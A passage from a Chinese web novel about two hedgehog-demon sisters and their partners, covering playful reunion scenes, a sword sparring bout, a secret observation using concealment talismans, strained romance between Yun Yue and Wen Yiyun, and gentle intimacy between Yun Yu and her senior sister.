裴依宁道:“问宫主说笑了,我并不知道你们曾经发生过什么,自是给不出答案。” 问亦云扯扯唇,张扬凌厉的五官柔软下来,她绕开裴依宁,贴近殿门,四根手指弯曲搭在上面,眼皮耷拉下,似是说给裴依宁听,又似在说给自己听:“云樾的本体,很软糯黏人,和她的本体一般,活跃得不得了,不,是比她妹妹还要活跃无数倍。” 云樾的本体曾经很黏她,一时半会见不到她,会到处乱窜地去寻找她,找到后,气乎乎,软绵绵地在她身上咬一口,然后给她制定各种所谓的行为准则,让她遵守。 太久前的温馨了,问亦云眯起眼睛,抬手去抓,只有一手虚无。 她自嘲地笑了笑。 裴依宁问:“云姐姐现在愿意用本体见星星,是不是她的身体好得差不多了?” 闻言,问亦云舔了下牙尖:“问这个做什么?” 裴依宁理所当然地:“她是星星的姐姐,那么,便也是我的姐姐。” 爱屋及乌,她自是希望云樾健康无忧。这样,云榆也会开心。 问亦云想起什么,神情微变,五指握拳,圆润的指甲陷入掌心,留下深深浅浅的月牙形,她犹如没有痛觉般,重重呼出一口气,没再多言,去到一边,如每次云榆去见云樾时一样,寻个地方倚靠着。 耳畔边似乎回荡起云樾温软细致的声音。 久远到她听不清。 “姐姐,她们都走了,你现在可以化成本体了。”小刺猬顶着脊背紫红色的刺,在桌案上来回爬到。 裴依宁她们出去后,姐姐先是扔了张符纸,而后又是在她身前走来走去,磨磨蹭蹭到现在都没有化形。 小刺猬等不住了,傲娇地扯住姐姐:“快变。” 许久没用本体示人,云樾坐到桌案边的椅子上,做足准备后,她轻声道:“星星,转回去。” 小刺猬“昂”了声,乖乖巧巧地转过身。 数秒后,她突然被从身侧紧紧抱住,身体一沉,抱住她的妖蹬上她的脊背:“啊啊啊啊啊啊,星星,快让姐姐抱抱。好软好软,背上染的颜色也好好看,我也想染……哎,你变胖了,明明人形时看,你还是小小的,为什么抱不住你了。” “给姐姐捏捏脸,”比小刺猬大一圈的刺猬横空出现,在小刺猬身上爬来爬去,最后落在小刺猬身前,两只爪子掐住小刺猬的脸颊,揉弄出各种形状,“好可爱,星星好可爱。” 小刺猬:“……” 果然,让师姐她们出去是明智的选择,姐姐比多年前还要活跃。小刺猬脸上的笑意在被多方蹂躏下彻底归于平静。 在姐姐松手的一瞬间,她避开面前的爪子,声音大了点:“姐姐,你克制点。” 云樾身体僵硬住。 小刺猬眼睁睁地看着面前大一圈的刺猬眼眶一点点变红:“星星凶我,星星竟然凶我。” 小刺猬:“……” 某只小刺猬爪忙爪乱地去哄比她大一圈的姐姐:“没有凶你,方才没控制好音量。” 樾刺猬吸吸鼻子:“真的吗?” 星星:“真的。” 她都没有这么和师姐撒过娇,姐姐怎么跟小孩子似的,怪不得能化成人形后,就甚少用本体出现在其她妖族面前。 声音大点都能将她吓哭。 樾小刺猬哼哼唧唧地问:“星星,要贴贴。” 星星:“贴。” 她侧身露出柔软的小肚皮,不多时,樾小刺猬贴了上来,脸颊软绵绵地贴上来,在她小肚子上蹭了蹭。 姐姐还是那个姐姐。 云榆的新鲜劲过去了,她想让姐姐化回人形了。 人形的姐姐温柔端庄,现在这个只会在她面前装柔软,撒娇要贴贴的刺猬到底是谁。 “星星,喂我几颗蓝莓,”樾小刺猬翻身,枕在星星身上,发号施令,“要甜的,一点点酸都不要。” 星星无奈,艰难地伸出爪子,抓起几枚塞入樾小刺猬口中。 “你好粗鲁,”樾小刺猬眼眶又红了,她短小的脖子缩了缩,“你是不是有了师姐忘了姐姐,你难道不记得,当年你掉落水中,是那只聪明的小刺猬把你扒拉上来的吗?” 星星闭上眼,回忆之前是怎么说的:“是姐姐,是我唯一真善美的姐姐,历经千辛万苦从地上捡了根棍子,把我扒拉上岸。” 她认命地一粒粒地喂姐姐。 樾小刺猬心心念念她脊背上的颜色,坐起身,比划自己的后背:“姐姐后面染色,应该也会很好看的吧,星星帮我染个蓝色。” “我不会染色,师姐给我染的,要不我让师姐进来给你染?”星星试探性地问。 但姐姐这么黏人,会吓到师姐的吧,她想了想:“还是让问姐姐给你染吧。” 在姐姐面前,傲娇的小刺猬都变得平和下来。 “不要,”樾小刺猬直接拒绝,“她是坏人,我不想见她。” 星星:“……姐,你平日里就是这么和问姐姐撒娇的吗?” “才不要和她撒娇,都说了她是坏人了,”樾小刺猬“切”了声,拉着星星的爪子,扭捏地晃动,“要么要么,我也要染色,星星给我染嘛~没有蓝色,跟你一样的颜色也可以。” 说完,她扔开星星的爪子,往后一坐,双爪一叠:“我不管,我就是要,你给我染。” 星星一个头两个大,现在的姐姐真的比几年前黏糊许多,怎么能这么黏糊糊的。 星星叹息:“我化成人形给你染色?” 樾小刺猬一个鲤鱼打挺:“好耶。” 桌案上一大一小的两只刺猬,小一点的那只跳下,摇身一变,化回人形。 “星星,你人形看上去好容易被骗。”樾小刺猬道。 云榆:“嗯,容易被骗。” 樾小刺猬瘪瘪嘴:“星星会不会嫌姐姐烦。” 数年间,因为和问亦云的事,即使化为本体也克制着本性,一只刺猬待在空荡荡的殿宇中,忍住想要撒娇的念头。 今日只在妹妹面前,隐忍多年的性格能够彻底释放,樾小刺猬黏糊得不得了。 但也担心这份黏糊会给妹妹照成困扰。 她能感受到她现在情绪的昂扬,只想贴贴。 云榆轻轻地抱起自家姐姐,学着上次姐姐弹她脑门的动作,曲指弹了回去,见樾小刺猬捂住脑袋,更加泪眼汪汪地看她:“不会,姐姐最好了。” 得到这句话,樾小刺猬终于可以肆无忌惮地暴露真实情绪:“废话,我当然是最好的。快来给我染色。我要每根刺都染上颜色。” 云榆思考:“会不会太多了。” 樾小刺猬:“不多不多,快点嘛,反正我就要,你不给我染,我就自己染。” 你后面长爪子了啊。云榆想这么回一句,但说出来后,某位姐姐恐怕就要泪撒现场了。 她不能当欺负姐姐的妹妹。 云榆道:“给你染,姐姐别动。” 樾小刺猬:“不要,我就要动。” 云榆:“……动了,会染色不均匀。” 樾小刺猬:“不管,那是你的事。” 云榆:“……” 她能逆转时间,回到一炷香前,将看姐姐变回本体的话按回去吗? 兢兢业业地给姐姐染好刺,云榆先是看了会,才是用师姐先前的手段,在樾小刺猬面前投射下一道光幕,询问:“这样可以吗,姐姐?” 樾小刺猬欣喜:“好好看。” 云榆弯唇。 姐姐喜欢就好。 染完刺,云榆重新化成本体,和姐姐一同趴在桌案上,两只小刺猬都是四仰八叉地背朝上。 自上空看,一大一小两团紫红色的东西躺在那。 “星星,你眼光总算好了一回。”樾小刺猬懒洋洋地,“你师姐挺不错的。” 人形接触了那么多次,裴依宁给她的印象一直不错。 云榆小刺猬同样懒懒地:“我眼光一向好。” 樾小刺猬毫不留情地拆穿她:“才没有,你小时候总是掉水坑,每次都要我去救你。” 云榆小刺猬:“那是意外。” 樾小刺猬:“你掉过五六七八次。” 云榆小刺猬:“你记错了。” 樾小刺猬黏黏糊糊地贴过去,枕在云榆小刺猬身上:“才没有,是你笨笨的。” 星星:“……笨蛋云樾。” 一爪子落下来,不疼,如同一阵风刮过去:“没大没小的笨笨。” 樾小刺猬下肢蹬在桌案上,脊背挪到星星的背上,两只小刺猬脊背的刺摩擦在一起,有些难以向上爬了,樾小刺猬放弃了,保持半爬在上面的姿势:“星星,我要在你身上玩滑滑梯。” 星星默默在心底点评了一句“幼稚”。 云榆小刺猬:“姐姐,你和问姐姐是怎么认识的?” 这点她比较好奇,人形的姐姐太难撬话了,三两下就能把她绕晕过去。 樾小刺猬拍了下压着的小刺猬的脑袋,很是气愤的模样:“说到这个我就来气,都怪她那张脸,完全长在了我的审美点上,长在我的审美点上就算了,嘴还甜,后面她又帮了我一个大忙。”说完,还不解气地,“真想把她一剑砍了。” “……”云榆小刺猬:“跟本体的姐姐搭话?” 樾小刺猬:“人形的我。” 云榆:“……姐,你好肤浅。” 樾小刺猬:“呵,你和你师姐怎么认识的,好意思说我?” 云榆先去看同她说过和裴依宁认识的过程:“因为吃的认识,你更肤浅。” 云榆小刺猬:“……” 樾小刺猬话一茬一茬地往外冒:“但她做了让我很生气的事,我不想理她,更不想用本体见她。” 本体见到问亦云,她大概会心软,会忍不住往对方身上黏,就像是初认识的时候。 越小刺猬从碟子中取出三枚蓝莓,拉起趴着的妹妹,不给后者追问的时间,好动道:“看姐姐给你表演一个才艺。” 说罢,樾小刺猬将三颗蓝莓一一往上空抛去,然后两只爪子接住,在往上扔。 三枚蓝莓在她小小的爪子中停留又被扔上去,最后串连成一串,掉入樾小刺猬嘴巴中。 樾小刺猬抬起一只爪子,云榆小刺猬了然地抬手,两只小刺猬同时向前蹦起来,两只爪子拍在一起,异口同声地:“耶。” 落地的两只小刺猬侧身脊背对脊背地撞在一起,又各自跳回去,额头对额头地抵在一起。 樾小刺猬:“你是笨笨。” 云榆小刺猬:“笨蛋云樾。” 随即两只小刺猬头对头地瘫在地上,笑出声。 活跃过后的樾小刺猬有些累了,她的身体还没完全恢复好,释放完隐忍多年的天性,她摆摆四肢:“星星,姐姐今天好开心。” 这数年来,最开心的一次。 云榆小刺猬:“我也是,好开心。” 樾小刺猬问:“我走后,有妖欺负你吗?” 云榆小刺猬:“没有的,家妖们对我很好,其它区域的妖与我们井水不犯河水,各自相安无事。” “那很好,”樾小刺猬下肢搭在星星身上,“谅她们也不敢欺负你,否则,哼哼,回去把她们揍得鼻青脸肿地。” 在云樾的认知中,她的妹妹向来只有她能欺负,旁人说一句小刺猬的坏话,她都能上去薅两拳。 当然,本体上去薅两拳,人形还是以讲道理为主。 裴依宁与问亦云在外面等了半个时辰,闭关的殿门没有开启的迹象,覆盖住殿宇的结界也没有收回的迹象。 樾小刺猬伸出爪臂:“拉我起来。” 云榆小刺猬拉起她。 樾小刺猬坐到云榆小刺猬面前,双爪齐上,捏住后者的脸颊向外拉过:“我要变回人形了。” 她眼底涌现浓烈的不舍,额头蹭过小刺猬,又揉揉小刺猬的脑袋:“你永远是姐姐最珍视的小妖。” “姐姐不在身边的时候,要照顾好自己,知道吗?”樾小刺猬渐渐收敛起本性,轻声叮咛,“你师姐是个很好的人,你在她身边,姐姐很放心。” 她慢慢起身,弯唇,身形一点点变化,灵光闪现,她低声道:“星星是只很优秀的小刺猬。” 结界破碎,紧闭的殿门打开一条缝,裴依宁和问亦云同时看过去,但里面没有让她们进去的声音,两人老老实实地守在外面。 云樾抱起瘫在地上的小刺猬,温柔地将小刺猬放到桌案上,视线扫过整齐叠放在桌角的一沓宣纸。 她夸道:“星星进步好大。” 她又恢复到温和从容之态,方才经历的如同一场幻梦。 小刺猬敏锐地捕捉到在将她移到桌案上时,姐姐脸上一闪而过的忧郁,她张张口,却不知从何安慰,姐姐的那抹忧郁又是从何而来。 姐姐说问姐姐做了让她很生气的事情,是因为这个原因吗? 所以,她先前觉得姐姐和问亦云之间有所不对并非感应错了。 莫不是问亦云欺负姐姐了。 “星星怎么又在走神?”云樾曲指弹了下她的小脑袋,“听说你灵力恢复了,等会让姐姐看看你在明越宗的所学?” 小刺猬捂住额头,散去所想,打起精神笑道:“行啊,让笨蛋姐姐看看本星星所学。” 云樾:“越发没大没小了。” 守在外面的两人总算得到殿内人让她们进去的消息。靠在墙壁上时间久了,问亦云有些恍惚,她清醒两秒,对着让出身位让她先进的裴依宁点了下头。 殿前,云樾端着一盏茶水,在她的不远处,云榆拎着一把灵剑,对着入内的两人遥遥施了个礼,便是开始舞剑。 剑气凌厉,剑鸣声不断,残影漂浮落在空地处,四散的灵力充斥在空气中。 裴依宁微微蹙眉,云榆怎么突然开始舞剑,还选了套攻击力极强的剑法。 若只是向云樾展示,大可以选择柔和一点的,例如入剑法阁学的第一套剑法。 问亦云坐到云樾身边,红衣艳丽,却抵不过女人姿容的明艳,她双腿交叠,偏头看了眼云樾,对方押了口捧着的茶水。 脑海中再度浮现云樾本体的模样。 有些模糊了。 忽而,问亦云感知到一股浓重的剑气朝她袭来,她瞳孔微缩,伸出两根手指,夹住刺向她的长剑。 剑尖离她的眉心不过几公分。 作者有话说: 第99章 第九十九章[VIP] 锐利的剑尖直抵命门, 扬起的剑气斩断问亦云额前几根碎发,飘飘然地从两人视线中坠落。 问亦云的眉心出现一条浅浅的痕,一点点红自缝隙中渗出。 与此同时,裴依宁快步上前, 拦在云榆身前, 问亦云无形中释放在云榆身上的威压被尽数抹去。 云樾指骨猝然绷紧,捧着的那盏热茶落于桌案上, 冷静自持的音色在略显压抑的氛围中多了层别样的色调:“问亦云。” 她横在云榆和问亦云中间, 那把灵剑几乎与她的衣衫相贴,她看了眼云榆, 又看了眼另一侧的问亦云,淡淡道:“把手松开, ”她对向云榆,柔下声线,“星星,把剑收了。” 问亦云上挑的眼睛微微眯起,顿了下, 她两指松开, 正要说话, 谁料柄灵剑却是不退反进, 继续朝她逼近。 身形极速后退, 握着剑的小妖亦是紧跟而上。 裴依宁伸手去拦, 被她对面的云樾制止,云榆的衣衫在她指缝中溜走。 再一抬眸, 问亦云因身后就是殿宇的墙壁, 退无可退,身形一矮, 侧身避开刺来的一剑,反手攥住云榆握剑的手,重重咬住后槽牙,话音自喉咙内挤出:“是想让我陪你练剑吗?恰好我在剑法上也有研究,但这种不事先打招呼,冒然出手,就是你这些年在明越宗的所学吗?” 云榆空闲的手抬起,以此为刃,毫不留情地往攥住她手腕的人身上砍去:“那就请问姐姐帮我看看我剑法中的错漏之处。我在明越宗修炼不过一年有余。” 一年有余刺及到问亦云,翻涌的灵力收敛许多,眯起的眼睛压出一条浅薄的线,张扬的红衣在云榆眼前转过。 血色红扇自问亦云衣袖中飞出。红衣女人捏在手中,扇柄压在虎口,左右两下将云榆灵剑撞击地“叮当”作响。 云榆手臂震得发麻。 问亦云余光瞥了眼殿前的两人。 裴依宁手臂抬起,时刻有要出手的迹象,云樾则是淡然地注视着她,眼底的不加掩饰的寒意淬得她脊背发凉。 云樾知道她不会动云榆,所以放任云榆在她的地盘上,挑衅她的权威。 她扯了下唇,倒也无妨,她手腕翻转,两只脚踩在坚实的玉砖,身形一动不动,犹如被限制在这方小小的空间内,被动或是主动地接上面前小妖的攻击。 云榆的攻击凌厉,盘旋着的杀意横在周身。水属性元素柔和了剑法传达的意蕴,问亦云侧目,血扇展开。 云樾在化为本体期间,与云榆说了什么,能让云榆突然对她出手。 再一次挡去云榆的攻势,问亦云长而浓密的睫毛颤动,血扇在长剑上转动一圈,灵力猝然灌入其中,向下拍去。 长剑斜插进玉砖。 捋起额前没被斩断的碎发,问亦云绕过挡在她身前的小妖:“剑法练得还行,但不要随意拿剑对人,尤其是,拿剑对你的长辈。” 话音刚落,身后传过窸窸窣窣的声音,以为小妖又有动手,问亦云头疼地半转过身。 却见云榆恭恭敬敬地对她拱手一礼:“问姐姐教训的是,星星日后一定注意。” 倒是个能屈能伸的,问亦云压下隐匿在心底的不快,几步来到云樾身边,抬起女人的手,将血扇搭在女人掌心,红唇翘起:“她的性格,与你也有几分相似。” 另一边,裴依宁已移到云榆身侧,轻轻握住小妖隐隐颤抖的手,眉心凝着的情绪让人看得不清。 云榆收拾低落的心情,仰起头,唇边挂着笑地:“师姐,我还是太弱了,问姐姐让了我那么多招,我还是无法在她手下多坚持一会。” 裴依宁哄她:“星星很棒了。” 云榆点过头,与裴依宁并肩而回,云樾正与问亦云传音说着什么,在两人过来后,流转在空气中的灵力波动平稳下来。 云榆:“姐姐。” 云樾揉揉她的头顶:“看见星星的剑法了,很厉害。” 云榆不好意思地低下头:“还是差了很多。” 在与问亦云交手的那刻,差距尽显无疑,若非问亦云手下留情,兴许她连靠近对方的机会都没有。 送别了姐姐和问亦云,云榆瘫坐在玉椅上,无力地趴伏在桌案上,脑海中思绪万千,她单手压着指腹,将指节掰地“啪啪”作响。 裴依宁纤长的身形立在云榆身边,一遍遍抚摸在小妖的背上,给小妖顺气。 “师姐,我刚才冲动了。”云榆闷闷地道,“我不应该对问亦云出手的。” 但是姐姐说,问亦云做了让她很生气的事情,结合她观察到的姐姐和问亦云的相处,不知为何,看见问亦云后,她提剑的心思不自觉地压在了对方身上。 能让化为本体的姐姐说出那种话,问亦云所做的事定然不会小。 她害怕姐姐受到欺负。 裴依宁安抚地:“没关系的,只是简单的切磋而已,星星不用担心。” 云榆摇摇头:“我担心影响到姐姐。” 她咬着唇,犹豫迟疑着,想去找姐姐问清楚,可已经化成人形的姐姐自是不可能如实告诉她。 云榆抠弄自己的手,她想到什么,眸色亮了一下,但很快再度暗下去,低叹声:“不能那样做。” 裴依宁好奇:“什么?” 云榆抿住唇,难以启齿地:“我本想用隐息符,偷偷溜进中心殿宇,看看姐姐和问亦云私下是如何相处的,是否如她们在我们面前表现的一般。” 但这种事无论是说出来还是做出来都不合适。 刚升出的念头瞬间被打消,云榆苦恼地思考其她方法,有什么光明正大的,可以得知姐姐和问亦云的真实情感。 忽而,她想起一个人。 冉寻。 冉寻身为问玉宫的人,多多少少能知道一些,可如何能撬开冉寻的嘴,这太难了。 “可以。” 一道声音穿入,云榆不明所以地:“什么?” 裴依宁一字一句地:“就按照你的想法来。” 说罢,她凭空取出两张隐息符,引动后将其中一张交给云榆,而后拉起满是疑惑茫然的小妖:“偷偷去中心殿宇看看。” 云榆睁大了眼睛:“师姐?” 裴依宁歪头,认真地问:“怎么了?” 云榆抿住唇,总觉得这种事从师姐口中说出,瞬间变得正经了,好似她们现在要去中心殿宇做什么重要的事情。 她道:“可……这不好吧。”闲竹腐 裴依宁看看天色,日头当空照,灵识扩散开,感知到云樾和问亦云的气息后收回:“她们还没回到中心殿宇,跟着她们走一段路,算不得什么。” 左右摇摆的人因为这句话坚定下,她虚虚握住拳,不断在心底暗示这样不算是偷窥。 云榆:“好,师姐,走。” 等到灵海内收到云樾的传音,裴依宁才是道:“走吧。” * 云樾捏着那把血扇,皙长的手指点在扇骨上,出殿门后,她回头看了眼软坐在玉椅上的云榆,难得好心情地扬起唇:“方才的事,别放在心上。” 问亦云:“嗯,我知道。”沉默片刻,她问,“她是想要杀了我吗?” 那一剑刺过来的寒意太深,她速度慢一分,说不定剑尖便已经没入她的眉心,斩去她的生机。 “不是,”云樾了解自家妹妹的性格,“她知道你能挡住她那一剑。” 当时剑尖快要触及到问亦云眉间时,云榆后腿隐隐有往后撤的趋势。所以,即使问亦云不动,也不会有任何事情。 无外乎是额头被剑气划开一条浅浅的伤口。 问亦云玩味:“那就是要给我一个下马威了。” 云樾斜她一眼,恰在此刻,灵识内传来裴依宁的声音,她抬手示意问亦云安静。 随即,裴依宁将与云榆的交谈内容传了过来,而后用灵识与她沟通:【云姐姐,可以吗?】 已经种下怀疑的种子,某只小妖日思夜想定然不会开心,稍作思考,云樾回:【可以。】 传完音,云樾下巴微抬:“等会我妹妹与她师姐会携带隐息符跟在我们身后。” 问亦云怔愣一瞬,苦笑:“我知道了。” 又是要扮演一副好好道侣的模样,可为什么一定要扮演,而不能是真的…… 云榆和裴依宁一路跟在她们身后,借由隐息符的屏蔽,她们一路畅通无阻,顺利地进入到中心殿宇内。 入内其中,云榆一眼看见在长廊处赏花观景的云樾。 云樾擒着问亦云的那把血扇,无意识地把玩着,在她斜后方,问亦云正将一件白如雪的大氅披到她身上,温声叮嘱:“天冷,别冻到了。” 云樾微笑,不乏俏皮灵动:“有你在,怎么会冻到。”她转过身,指尖点在问亦云先前被剑气划伤的位置,轻声问,“她不是故意的,只是想同你比试一番。” 问亦云心快速地碰撞胸膛,久违的暖意将她下意识地抓住云樾的手,拉到唇边,虔诚而珍视地吻去:“我知道,她还小,心性还需要磨练……” 姐姐和问亦云的话清清楚楚地传入耳中,两人的互动映入眼帘。 云榆猛地背过身,牵住师姐的手往外跑,跑了数百米,她才是慢慢停下脚步,扯下隐息符,舔住干涩的唇,气息因为高度紧张后的猝然松懈而显得不稳。 她小口喘着气,询问师姐:“师姐,姐姐和问姐姐的感情与我们平日见到的并无二致,对吧。” 小妖心性单纯,称呼转变的亦是极快。 起初一口一个的问亦云,现在又换回到问姐姐了。 裴依宁隐去面色上的复杂,笑道:“嗯,星星不用担心。” 云榆垂目,边走边思考:“那应该是姐姐和问姐姐闹小情绪了,就像是有时我也会和师姐闹小情绪。” 裴依宁:“星星什么时候和我闹过小情绪?” 云榆冷飕飕地:“在师姐骗我是宁依的时候,”说到这个,某只放松的小妖开始翻旧账了,“师姐挺聪明的,裴依宁,依宁,宁依,只能把名字后两个字倒出来了。” 火不知怎么烧到自己身上了,裴依宁投降:“但星星不也在我面前装师姐,一副老成的样子。” 云榆:“……好了,打住,不说这个了。” 裴依宁学某只小刺猬说话的语调:“好的哦。” 云榆:“师姐!” 另一边,收到裴依宁传音,得知她们已经离开的云樾抽出抵在问亦云唇边的手,往后退了半步。 云樾:“她们走了。” 问亦云喉咙滚动,她逼近云樾,两手捧起女人的脸颊,指腹卡在女人的下颌处,请求:“云樾,你能亲我一下吗?” 云樾掀起眼帘,眼尾下的痣随之轻动。 问亦云得到答案:“那你,能在我面前变回一次本体吗?” 云樾依旧看她,数秒后,她移开目光,捻起那把血扇,落在问亦云腕上,摆脱女人的束缚。 “云樾,”问亦云痛苦地问,“我们真的不能和好如初吗?这么多年,你心里的气也该消了。” 云樾静默着往殿内走,内殿前的墙壁上,山水画依旧,玉雕在阳光下折射出晶润的光泽。 她走到墙壁边,弯身取下雕刻用的玉石刀,打磨过后,立于玉雕前,刀尖落在其中一处未雕刻完成的玉石上。 问亦云遥遥地望着她,隔阂在两人中间的十数米,仿佛无论如何都无法抹除。 “云樾,你难道对我就没有一丁点的喜欢吗?”问亦云嗓子似乎被润湿的棉花堵住,怎么都呼吸不上,她扶着玉柱,眉心紧紧蹙起,不知是在问自己还是在问云樾,“我们之前明明不是这样的。” “你愿意在你妹妹面前承认和我的道侣关系,真的只是因为不想让你妹妹担心吗?” 问亦云不相信,若真的不喜欢,云樾怎么可能会承认,若是真的没有感觉,为何还愿意同她亲密无间。 无尽的委屈在今天被云樾默许云榆用剑对着她升起,又在云榆离去,云樾将她推开达到顶峰。 她想要求得一个答案。 这些年,她对云樾不是没有愧疚。 她垂下手,身体抖动:“云樾,你真的不能告诉我吗?我哪里有问题,你可以跟我说,我都可以改。” 说她一意孤行,可以跟她具体说是哪里一意孤行,而不是两两相对,一言不发。 云樾跟裴依宁说什么都改变不了。 可她连从何改起都不知道。 牙关咬得过紧,太阳穴突突起跳,大脑涨疼不已,她指甲在柱子上摩擦出声响,含着细微的哑意:“云樾,我对你还不够好吗?” 手颤了下,雕刻刀掉落在地,云樾蹲身捡起,吹去玉石上的碎屑:“我从来没有否认过你对我的好。”她拾起雕刻刀,却没了继续下去的兴致,精神都是疲惫的,“但这些所谓的好,是我最想要的吗?” 问亦云怔然。 云樾缓而慢地起身,影子被拉得窄而长,看上去孤寂而荒凉。她的背影纤薄却有力量,不自觉地吸引目光。 她细细观摩着玉墙上的画与雕刻,和问亦云的初见,似乎也是在一幅山水画前。 问亦云沙哑的声音传开:“你想要什么,我……只要我有,我都可以……” 云樾打断她:“颜料还有吗?” 后半段话咽回肚子里,问亦云顿了下:“有,我去给你拿。” * 云榆晃悠着和师姐回到殿内,见到了姐姐,见到了姐姐的本体,确定姐姐和问姐姐感情不错,她前所未有的轻松。 一头倒入师姐怀中,云榆笑道:“师姐,我们过几日便回宗吧。” 裴依宁:“好不容易见到姐姐,不再多留会了吗?” 云榆耸耸肩:“日后应该能随时来问玉宫了,明日我问问姐姐和问姐姐。在这里一个多月了,总该要回宗门了。” 师姐陪她回小时候住的地方,又陪她在这里待了这么久,中间只在明越宗几日,于情于理都不好,她要顾及师姐。 云樾的身体如今已经稳定下来,她与问亦云之间的事,裴依宁和云榆身为局外人,不知前有后果,有心而无力,况且云榆暂不知晓,只当是道侣间的小摩擦。 裴依宁想了想:“也好。” 脖颈上挂上一条手臂,云榆勾住裴依宁,迫使她不得不低下头,而躺在她怀中的小妖上半身抬起,啄在女人的唇角。 指腹在肌肤上细细摩挲,云榆压低了声音:“师姐,我们……” 足够明显的暗示,裴依宁轻咬下唇,透过打开的玉窗看向外面:“天还没黑。” 云榆狡黠地眨眨眼:“天没黑怎么了?师姐,你在想什么?” 裴依宁:“嗯?” 云榆道:“我们不能……”她吻住裴依宁的唇,很轻很快地触碰过后推开,“这样吗?” 裴依宁:“能。” 于是,话音刚落,藏身于她怀中的小妖双臂挂在她身上,咬住她的唇,吮吸舔舐。 仅此而已。 “这次没有在师姐身上留下痕迹,”云榆侧脸贴在裴依宁的心口,聆听女人因她而加快的心跳,就如同此刻,她的心也在不断跳动,“会一直一直喜欢师姐的。” 云榆格外喜欢对她表白,几乎每次深吻过来,窝缩在她怀中时,都会说差不多的话。 而裴依宁,正好喜欢听她说这些。 修炼一途平淡乏味,云榆的闯入,给她的生活增添了无趣的趣味。 裴依宁抚摸着怀中人的脸颊,顺着脸部轮廓线,而后移到云榆的眉目,再往下,一直到小妖的脖颈处,她轻轻掐住。 肌肤处痒痒的,云榆睁开一只眼:“师姐,你没有说喜欢我。” 裴依宁笑:“喜欢你,会一直一直喜欢星星。” 暖流在血液中流淌,传递到身体的各个器官,云榆念动,大开的窗户重重落下,紧紧闭合。 紧接着,外面传来殿门关闭的声音。 内外殿的殿门都被关闭。 裴依宁浮现一抹不好的预感,好不容易缓和心提起,她无意识地摁住怀中的人,浅色的瞳孔中蕴着隐秘的兴奋:“你要做什么?” 云榆不答反问:“师姐,现在能看见外面是白日还是黑天吗?” 当然可以,屋内亮堂,睁眼瞎也说不出现在是黑夜的话。 云榆道:“是白日啊,但……”她拉长了音调,腰腹部用力,跃身而起,单膝挂在师姐腿上,“这里无人会来,只有你我。” 她蛊惑地轻推师姐,五指没入师姐长发中,往上,发簪被取下,往下,指腹在顺滑的墨色长发中游走:“师姐,”她吻在师姐的眼睛上,手肘撑着床面,以免压到裴依宁,“真的好喜欢好喜欢你。” “师姐是全天下最好的师姐。” 裴依宁被触及到地方一片火热,她环住身前的小妖,回应对方细细密密落下的吻。 云榆的手落在她的腰腹间,并不更深一步。 裴依宁曲腿。 云榆鼻尖碰碰师姐:“师姐,今晚我想给你做顿饭吃。” 裴依宁不知道她这个做饭是什么意思,没有冒然接话。 直到云榆开始询问她:“师姐想吃什么,我会的不多,做几样简单的。” 真的只是单纯的做饭。 记起这小妖许久前的一次下厨,黑糊糊的,看不出是什么菜品的菜,裴依宁小腹抽动,脖颈间的那条美人筋凸起。 在这之后,云榆便是没怎么做过菜,裴依宁在面对云榆的事情上,素来保持信任和鼓励,可唯独在这个上面。 她信任不了半分,鼓励不了一点。 身体里四撞的火元素过于灵海,裴依宁仰起头,云榆还在吻她,压着她的身体,吻她锁骨以上的肌肤。 裴依宁含着轻慢的喘息:“我来做饭吧,你给我打打下手。” 云榆亲吻的动作停住,脸埋进师姐的肩窝,笑得肩膀一抖一抖地:“师姐,你也太不相信我的厨艺了吧。” 云榆有自知之明,知晓真的让自己下厨,她和师姐今晚恐怕真的要吃苦了。 黑糊糊的苦味似乎还残留在记忆中,一想起,口腔都是苦涩的。 晚上,依裴依宁所言,云榆任劳任怨地给她打下手。 云榆本想去喊姐姐和问姐姐一同的,但传音过去,得到的是两人吃过了的回音。 晚饭过后,云榆和裴依宁一前一后梳洗上床。 裴依宁照旧捧着一本丹法古籍靠坐在床头。 等到师姐放下手,某只小妖顺滑地钻入师姐怀中,意味明显地:“师姐,现在是白日还是黑天?” 裴依宁失笑,回答她:“入夜了。” 她主动抱住云榆,下巴搭在小妖的发顶,替她说出想说而不好意思说出口的话:“可以了。” 可以吃师姐了。 作者有话说: 第100章 第一百章[VIP] 在问玉宫住了一个月有余, 云榆和裴依宁做好离开此地的准备,她们提前两日同云樾,问亦云提及此事。 “姐姐,我和师姐过两日就要回宗门了, 在问玉宫的这一个多月, 我体内的灵力都已恢复,”云榆抓了把耳边垂下的两捋发丝, 随意地别到耳后, “更重要的是,我见到了姐姐。” 她踩着脚下因雕刻落下的, 没来得及清理的碎石,双手背在腰后, 脊背稍弯,在鞋下来回踢踏破碎的玉石粒:“我以后还能随时过来找姐姐吗?” 姐姐会不会向多年前那样不辞而别,又或者是像先前师姐传音给问亦云时以各种理由拒绝旁人入内。 她将碎石往前踢了两脚。 发顶被压住,随后发簪被抽走,本就松松垮垮束起的墨色长发如瀑般滑落, 披散叠至两肩。 云榆本能地抬起头。 云樾绕到她身后, 眉眼如画, 温柔如旧, 细长的手指在云榆发丝中穿行而过, 将一缕缕长发顺着耳沿揽至耳后, 轻和缓慢的声线带着安抚人心的力量:“当然可以。” 将云榆的长发挽起,发钗簪入其中:“先前问玉宫因为某些原因不能让人入内, 如今这些问题都已解决, 星星随时可以过来找姐姐。” 她指尖分别按在云榆的太阳穴,抬起小妖低垂的头颅:“怎么这么久了, 还不会簪发吗?” 云榆扯扯唇角,因姐姐的允诺心情扬起:“哪有,又不出去,何必束得那么规矩,好麻烦的。” 云樾笑她:“你在宗门也是这样吗?”她打趣地推过一碟软糯的糕点,摁着小妖坐下,“这般不修边幅,还能得依宁看中,星星还是很厉害的哦。” 糕点表面撒着一层粉末,细碎的酥脆包裹在粉末中,拿起一枚,细腻的粉渍染在指腹,甜腻的香气未入口就已传入鼻息。 云榆咬下一口,照例是甜得发齁:“姐姐,以后少放点糖。” 姐姐做的糕点素来有种不甜死人不摆休的美感,幼时她吃起就这般觉得,但姐姐常给她做,在与姐姐分开后,也因为这份浸入骨子里的甜,让她时常想要再尝尝姐姐的糕点。 如今与姐姐重逢,记忆里的甜腻如潮水将她翻涌覆盖:“太甜了。” 云樾捏起一块,尝了口:“是甜了。我记得当初让你问姐姐给你带的那两包与这差不多味道,昨日我同你师姐下棋时,她说你都吃完了。” “我便想着你既然喜欢吃,今日再给你做点,晚些等你回宗门再带点的。” 云榆灌了两大口茶水,口腔中的甜被压下去,呼吸中蕴含着甜,笑道:“那时好不容易知道你在哪,一别数年,再吃到你做的糕点,自是怀念珍惜的。” 